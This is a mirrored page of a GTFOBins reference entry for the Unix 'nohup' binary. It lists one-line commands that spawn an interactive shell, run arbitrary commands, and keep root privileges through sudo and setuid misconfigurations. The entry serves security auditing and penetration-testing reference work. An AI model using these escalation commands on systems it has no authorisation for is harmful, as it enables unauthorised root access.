mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 23:09:46 +01:00
15 lines
339 B
Markdown
15 lines
339 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
|
|
command:
|
|
- code: |
|
|
COMMAND='/usr/bin/id'
|
|
nohup "$COMMAND"
|
|
cat nohup.out
|
|
sudo:
|
|
- code: sudo nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
|
|
suid:
|
|
- code: sudo nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
|
|
---
|